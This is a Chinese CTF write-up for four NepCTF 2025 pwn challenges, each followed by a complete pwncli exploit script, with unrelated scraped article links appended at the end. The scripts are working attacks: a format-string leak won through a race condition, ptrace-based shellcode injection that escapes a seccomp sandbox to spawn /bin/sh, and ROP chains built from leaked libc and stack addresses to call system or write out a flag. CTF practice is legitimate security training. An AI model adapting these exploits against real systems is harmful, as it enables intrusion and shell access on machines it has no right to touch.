nepCTF2025 pwn题解
nepCTF2025 pwn题解
time
用到pthread_create()创建线程,而线程是使用的同一个内存空间。
void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
pthread_t newthread[2]; // [rsp+0h] [rbp-10h] BYREF
newthread[1] = __readfsqword(0x28u);
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
puts_ls();
while ( 1 )
{
while ( !(unsigned int)if_flag() )
;
pthread_create(newthread, 0LL, start_routine, 0LL);
}
}
void __fastcall start_routine(void *a1)
{
unsigned int v1; // eax
int i; // [rsp+4h] [rbp-46Ch]
int j; // [rsp+8h] [rbp-468h]
int fd; // [rsp+Ch] [rbp-464h]
char v5[96]; // [rsp+10h] [rbp-460h] BYREF
char v6[16]; // [rsp+70h] [rbp-400h] BYREF
char buf[1000]; // [rsp+80h] [rbp-3F0h] BYREF
unsigned __int64 v8; // [rsp+468h] [rbp-8h]
v8 = __readfsqword(0x28u);
sub_1329(v5);
v1 = strlen(file);
md5_1(v5, file, v1);
md5_2(v5, (__int64)v6);
puts("I will tell you last file name content in md5:");
for ( i = 0; i <= 15; ++i )
printf("%02X", (unsigned __int8)v6[i]);
putchar('\n');
for ( j = 0; j <= 999; ++j )
buf[j] = 0;
fd = open(file, 0);
if ( fd >= 0 )
{
read(fd, buf, 0x3E8uLL);
close(fd);
printf("hello ");
printf(name);
puts(" ,your file read done!");
}
else
{
puts("file not found!");
}
}
循环里面套循环,start_routine函数里面是读取文件的内容到栈,之后,可以利用格式化字符串printf(name);来输出文件内容。
那么很简单,咱们只需要读取flag到栈上即可,也就是file要为'flag',但是if_flag函数会进行检测,那么咱们只需要竞争这个file,使其在if_flag前为非flag字符串,之后进入线程后快速更改file为flag。
exp
#!/usr/bin/env python3
from pwncli import *
context(arch='amd64',os='linux',log_level='debug')
p = lambda s,t: print(f"\033[0;31;43m{s.ljust(15, ' ') + '------------------------->' + hex(t)}\033[0m")
# sh = remote("nepctf32-24ji-l5g4-1wiu-rijztdfhc163.nepctf.com",443,ssl=True)
sh = process("./time")
sh.sendlineafter("please input your name:\n", "%22$p|%23$p|%24$p|%25$p|%26$p|%27$p|%28$p|%29$p")
sh.sendline("time")
sh.sendline("flag")
try:
sh.recvuntil("356313CAFBE4C77CB9DC1BE083E946E4\n")
sh.interactive()
except EOFError:
pass


smallbox
ptrace注入,甚至直接抄即可 https://skyeto.com/p/seccomp-jail-escape-using-ptrace
exp
#!/usr/bin/env python3
from pwncli import *
context(arch='amd64', os='linux', log_level='debug')
p = lambda s, t: print(f"\033[0;31;43m{s.ljust(15, ' ') + '------------------------->' + hex(t)}\033[0m")
# sh = remote("node5.buuoj.cn", 26759)
sh = process("./smallbox")
shell2 = asm('''
push 0x42
pop rax
inc ah
cqo
push rdx
movabs rdi, 0x68732f2f6e69622f
push rdi
push rsp
pop rsi
mov r8, rdx
mov r10, rdx
syscall
''')
shell2 = shell2.ljust((len(shell2) + 3) & ~3, b'\x90')
shellcode = asm('''
mov edi, 0x10
mov esi, [rbp - 0xc]
xor rdx, rdx
xor r10, r10
mov eax, 101
syscall
sub rsp,512
mov edi, 12
mov esi, [rbp - 0xc]
xor rdx, rdx
lea r10, [rsp + 100]
mov eax, 101
syscall
mov r12, [rsp + 100 + 128]
''')
write_bytes = ""
for i in range(0, len(shell2), 4):
write_bytes += f"""
mov rax, 101;
mov rdi, 4;
mov rsi, [rbp - 0xc];
/* Memory location to write to */
mov rdx, [rsp + 100 + 128];
add rdx, {i};
/* Payload bytes */
mov r10, {u32(shell2[i:i + 4].rjust(4, b"0"))};
syscall;
add r12, 4; /* r12 came in handy here */
"""
shellcode += asm(write_bytes)
shellcode+=asm('''
/* detach ptrace and restart execution */
mov rax, 101;
mov rdi, 17;
mov rsi, [rbp - 0xc];
mov rdx, 0;
mov r10, 0;
syscall;
/* yield */
mov eax, 1
loop:
test eax, 1
jne loop;
''')
gdb.attach(sh, 'brva 0x143F\nc')
sh.sendline(shellcode)
sh.interactive()
astray2
主要漏洞
- 对user_read没有限制,读取manage_physic[0]可以直接泄露堆地址和pie。
- 利用user_operation可以绕过checkvisit的检测。
- 对manage_physic[0]进行修改
exp
#!/usr/bin/env python3
from pwncli import *
context(arch='amd64', os='linux', log_level='debug')
p = lambda s, t: print(f"\033[0;31;43m{s.ljust(15, ' ') + '------------------------->' + hex(t)}\033[0m")
sh = remote("nepctf30-ebzf-qqwr-tp53-tptqny5nk238.nepctf.com",443,ssl=True)
# sh = process("./astray")
e = ELF('./astray')
libc = ELF('./libc.so.6')
def user_read(index):
sh.sendlineafter("Which permission do you want to log in with?(1:manager 1000:user)\n", '1000')
sh.sendafter("user write to logs(USER_write)\n", 'USER_read')
sh.sendlineafter("10-19: user can visit\n", str(index))
def user_write(index, data):
sh.sendlineafter("Which permission do you want to log in with?(1:manager 1000:user)\n", '1000')
sh.sendafter("user write to logs(USER_write)\n", 'USER_write')
sh.sendlineafter("10-19: user can visit\n", str(index))
sh.sendline(data)
def manager_read(index):
sh.sendlineafter("Which permission do you want to log in with?(1:manager 1000:user)\n", '1')
sh.sendafter("visit user(MANAGER_visit)\n", 'MANAGER_read')
sh.sendlineafter("1-19: manager can visit\n", str(index))
def manager_write(index, data):
sh.sendlineafter("Which permission do you want to log in with?(1:manager 1000:user)\n", '1')
sh.sendafter("visit user(MANAGER_visit)\n", 'MANAGER_write')
sh.sendlineafter("1-19: manager can visit\n", str(index))
sh.sendline(data)
def manager_visit_read(index):
sh.sendlineafter("Which permission do you want to log in with?(1:manager 1000:user)\n", '1')
sh.sendafter("visit user(MANAGER_visit)\n", 'MANAGER_visit')
sh.sendlineafter("1-19: manager can visit\n", str(index))
sh.sendlineafter('2: manager visit user to write to user_logs\n', '1')
def manager_visit_write(index, data):
sh.sendlineafter("Which permission do you want to log in with?(1:manager 1000:user)\n", '1')
sh.sendafter("visit user(MANAGER_visit)\n", 'MANAGER_visit')
sh.sendlineafter("1-19: manager can visit\n", str(index))
sh.sendlineafter('2: manager visit user to write to user_logs\n', '2')
sh.sendline(data)
user_read(0)
sh.recv(8)
heap = u64(sh.recv(8))
pie = u64(sh.recv(8)) - 0x41a0
p("pie", pie)
p("heap", heap)
manager_write(10,p64(0) + p64(heap-0x1620) + p64(pie+e.got['puts']))
sh.sendlineafter("Which permission do you want to log in with?(1:manager 1000:user)\n", '1000')
sh.sendafter("user write to logs(USER_write)\n", 'MANAGER_visit')
sh.sendlineafter("10-19: user can visit\n", '0')
manager_visit_write(10,b'a'*8 + p64(heap) + p64(heap-0x1630))
manager_visit_read(10)
libc.address = u64(sh.recv(8))-0x80e50
p("libc", libc.address)
manager_write(10,p64(0) + p64(heap-0x1620) + p64(libc.sym['_environ']))
manager_visit_read(10)
stack = u64(sh.recv(8))
p("stack", stack)
manager_write(10,p64(0) + p64(heap-0x1620) + p64(stack-0x150))
# gdb.attach(sh,'brva 0x0000000000001958\nc')
pop_rdi = libc.address+0x000000000002a3e5
ret = 0x00000000000f9154+libc.address
manager_visit_write(10, p64(ret) + p64(pop_rdi) + p64(next(libc.search(b'/bin/sh'))) + p64(libc.sym['system']))
sh.interactive()
canutrytry
主要用到cpp的错误处理机制。
https://zhuanlan.zhihu.com/p/13157062538

可以看到op1和op2在同一个try内,而op2内存在栈溢出并且op2只能用一次,那么就只能先利用op1来报错获取libc和stack地址,之后利用op2的栈溢出,覆盖返回地址为0x000000000401ED9

此try对应了0x000000000401F19的catch。

在运行buf1返回时有

不过似乎没什么用
之后进入buf2


又有栈溢出,那么此处栈溢出可以利用为栈迁移,迁移到buf1写入的rop里,即可。
此题还存在沙盒,只能使用write、read、colse、futex,还close(1),这其实很简单,只需要write(2, flag, size)即可。
exp
#!/usr/bin/env python3
from pwncli import *
context(arch='amd64', os='linux', log_level='debug')
p = lambda s, t: print(f"\033[0;31;43m{s.ljust(15, ' ') + '------------------------->' + hex(t)}\033[0m")
# sh = remote("node5.buuoj.cn", 26759)
sh = process("./canutrytry")
libc = ELF("./libc.so.6")
def set_size(size):
sh.sendlineafter(">>", '1')
sh.sendlineafter(">>", '2')
sh.sendlineafter(":", str(size))
def add():
sh.sendlineafter(">>", '1')
sh.sendlineafter(">>", '1')
def edit(index, data):
sh.sendlineafter(">>", '1')
sh.sendlineafter(">>", '3')
sh.sendlineafter(":", str(index))
sh.sendafter(":", data)
def door(index):
sh.sendlineafter(">>", '2')
sh.sendlineafter(": ", str(index))
set_size(0x30)
add()
set_size(-1)
add()
sh.recvuntil("setbufaddr:")
libc.address = eval(sh.recvline()) - 0x88060
sh.recvuntil("stackaddr:")
stack = eval(sh.recvline())
p("libc", libc.address)
p("stack", stack)
edit(0, b'a' * 0x20 + p64(0x405460) + p64(0x401ED9))
# gdb.attach(sh, 'b *0x0000000000401600\nc')
door(0)
pop_rdi = 0x2a3e5 + libc.address
pop_rsi_r15 = 0x2a3e3 + libc.address
pop_rdx_r12 = 0x11f497 + libc.address
rop = p64(pop_rdi) + p64(2) + p64(pop_rsi_r15) + p64(0x4053C0) + p64(0) + \
p64(pop_rdx_r12) + p64(0x40) + p64(0) + \
p64(libc.sym['write'])
sh.sendlineafter("well,prepare your rop now!\n", rop)
sh.sendlineafter('Enter your flag: ', b'b' * 0x10)
sh.send(b'c' * 0x10 + p64(0x405458))
sh.interactive()
nepCTF2025 pwn题解的更多相关文章
- GDOU-CTF-2023新生赛Pwn题解与反思
第一次参加CTF新生赛总结与反思 因为昨天学校那边要进行天梯模拟赛,所以被拉过去了.16点30分结束,就跑回来宿舍开始写.第一题和第二题一下子getshell,不用30分钟,可能我没想那么多,对比网上 ...
- Pwn入坑指南
栈溢出原理 参考我之前发的一篇 Windows栈溢出原理 还有 brant 师傅的<0day安全笔记> Pwn常用工具 gdb:Linux下程序调试 PEDA:针对gdb的python漏洞 ...
- 由一道CTF pwn题深入理解libc2.26中的tcache机制
本文首发安全客:https://www.anquanke.com/post/id/104760 在刚结束的HITB-XCTF有一道pwn题gundam使用了2.26版本的libc.因为2.26版本中加 ...
- Linux下pwn从入门到放弃
Linux下pwn从入门到放弃 0x0 简介 pwn,在安全领域中指的是通过二进制/系统调用等方式获得目标主机的shell. 虽然web系统在互联网中占有比较大的分量,但是随着移动端,ioT的逐渐流行 ...
- (buuctf) - pwn入门部分wp - rip -- pwn1_sctf_2016
[buuctf]pwn入门 pwn学习之路引入 栈溢出引入 test_your_nc [题目链接] 注意到 Ubuntu 18, Linux系统 . nc 靶场 nc node3.buuoj.cn 2 ...
- pwn200,一道不完全考察ret2libc的小小pwn题
pwn200 ---XDCTF-2015 每日一pwn,今天又做了一个pwn,那个pwn呢???攻防世界的进阶区里的一道小pwn题,虽然这个题考察的知识不多,rop链也比较好构建,但是还是让我又学到了 ...
- 深入理解计算机系统(CSAPP)bomblab实验进阶之nuclearlab——详细题解
前言 本实验是难度高于bomblab的一个补充实验,该实验部分题目难度已经达到CTF入门水平,且这个实验据说是上一届的某个学长原创,因此互联网上几乎找不到类似的题目.在间断地思考了几周后我最终完成了所 ...
- 2016 华南师大ACM校赛 SCNUCPC 非官方题解
我要举报本次校赛出题人的消极出题!!! 官方题解请戳:http://3.scnuacm2015.sinaapp.com/?p=89(其实就是一堆代码没有题解) A. 树链剖分数据结构板题 题目大意:我 ...
- Pwn~
Pwn Collections Date from 2016-07-11 Difficult rank: $ -> $$... easy -> hard CISCN 2016 pwn-1 ...
- noip2016十连测题解
以下代码为了阅读方便,省去以下头文件: #include <iostream> #include <stdio.h> #include <math.h> #incl ...
随机推荐
- Clion输出中文乱码终极解决方案
网上大部分方法是在编辑文件时将编码改成GBK,个人认为不太正确.现有一个终极解决的方案,不需要改成GBK. 保存关闭后,按住 Ctrl+Shift+Alt+/ (不够快捷的快捷键-)选中Registr ...
- idea中更改下载源
C:\Program Files\JetBrains\IntelliJ IDEA 2021.2.1\plugins\maven\lib\maven3\conf\settings.xml https:/ ...
- Apache JMeter性能测试工具属性配置最全的整理
<JMeter核心技术.性能测试与性能分析>是一本由清华大学出版社出版的图书,本书共分11章,内容包括认识JMeter.认识性能测试.初识JMeter元件.JMeter主要元件详细介绍.常 ...
- 微服务SpringCloud父工程pom依赖
<!--设置为pom,管理依赖--> <packaging>pom</packaging> <properties> <java.version& ...
- Linux的SFTP
SFTP是(Secure File Transfer Protocol)的缩写,安全文件传送协议.SFTP可以为传输文件提供一种安全的加密方法.SFTP与FTP有着几乎一样的语法和功能.SFTP为 S ...
- 2025年了,在 Django 之外,Python Web 框架还能怎么选?
前言 大家好,我是曦远~ 前段时间我写过一篇文章 <Django过时了吗?从ASGI到AI时代的思考>,聊到在 AI 时代下,传统全家桶式框架(比如 Django)该如何面对新趋势. 最近 ...
- 【光照】[高光反射specular]以UnityURP为例
[从UnityURP开始探索游戏渲染]专栏-直达 高光反射的基本流程 经验光照模型中的高光反射通常遵循以下流程: 入射光计算:确定光源方向和强度 视角向量计算:确定观察者方向 反射向量计算 ...
- 自定义实体中如何画MText
软件架构师何志丹 Adesk::Boolean XXXX::subWorldDraw(AcGiWorldDraw* mode) //... AcDbMText* pMText = new AcDbMT ...
- 洛谷 P1967 [NOIP 2013 提高组] 货车运输 题解
原题链接:货车运输 kruskal重构树+LCA做法,树剖不想写 很容易发现原图跑最短路可以解,但是复杂度难以承受,所以考虑如何简化该图. 发现原图边权维护的应该是(u,v)的最小值,并且最优选择是这 ...
- 软件神器 --- 安卓虚拟定位 之 Fakelocation模拟定位,定位精灵
软件神器 --- 安卓虚拟定位 之 Fakelocation模拟定位,定位精灵